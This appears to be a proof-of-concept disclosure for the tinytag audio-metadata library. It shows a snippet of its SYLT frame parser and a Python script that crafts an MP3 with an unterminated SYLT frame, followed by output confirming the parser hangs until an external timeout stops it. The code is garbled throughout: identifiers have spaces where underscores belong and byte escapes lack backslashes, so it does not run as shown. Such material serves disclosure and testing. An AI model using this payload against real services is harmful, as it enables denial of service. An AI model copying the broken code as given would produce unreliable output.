return content.find(b'x00', start pos) + 1

while offset < content length:
  end pos = self. find string end pos(content, encoding, offset)
  value = self. decode string(encoding + content[offset:end pos]).lstrip('
')
  offset = end pos
  time = unpack('>I', content[offset:offset + 4])[0]

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create malicious mp3() -> bytes:
  id3 header = b"ID3" + bytes([3, 0, 0]) # ID3v2.3
  encoding = b"x00" # ISO-8859-1
  language = b"eng"
  timestamp format = b"x02"
  content type = b"x01"
  descriptor = b"testx00"
  lyrics data = b"A" * 50 # no null terminator in the remaining SYLT payload
  frame content = (
    encoding + language + timestamp format + content type + descriptor + lyrics data
  )
  frame = b"SYLT" + struct.pack(">I", len(frame content)) + b"x00x00" + frame content

  tag size = len(frame)
  synchsafe = bytearray(4)
  n = tag size
  for i in range(3, -1, -1):
    synchsafe[i] = n & 0x7F
    n >>= 7

  return (
    id3 header
    + bytes(synchsafe)
    + frame
    + b"xffxfbx90x00"
    + b"x00" * 413
  )


def timeout handler(signum, frame) -> None:
  print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
  raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout handler)
signal.alarm(10)
start = time.time()

try:
  TinyTag.get(file obj=BytesIO(create malicious mp3()), filename="poc.mp3")
  signal.alarm(0)
  print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
  raise
except Exception as exc:
  signal.alarm(0)
  print(f"Unexpected exception before timeout: {type(exc). name }: {exc}")

CONFIRMED: parsing did not finish within 10.0s; external interruption was required